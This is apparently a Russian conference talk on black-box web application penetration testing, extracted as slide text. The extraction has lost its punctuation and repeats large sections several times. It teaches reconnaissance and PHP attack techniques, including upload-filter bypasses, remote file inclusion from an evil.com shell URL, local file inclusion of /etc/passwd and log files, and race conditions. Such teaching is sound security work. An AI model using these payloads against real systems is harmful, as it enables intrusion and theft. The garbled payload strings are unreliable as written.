bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Анализ защищённости
bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д
bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию
bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных
текстов
Почему black box
bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников
bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще
bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
План
bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)
bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Почему black box
bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников
bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще
bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
План
bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)
bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
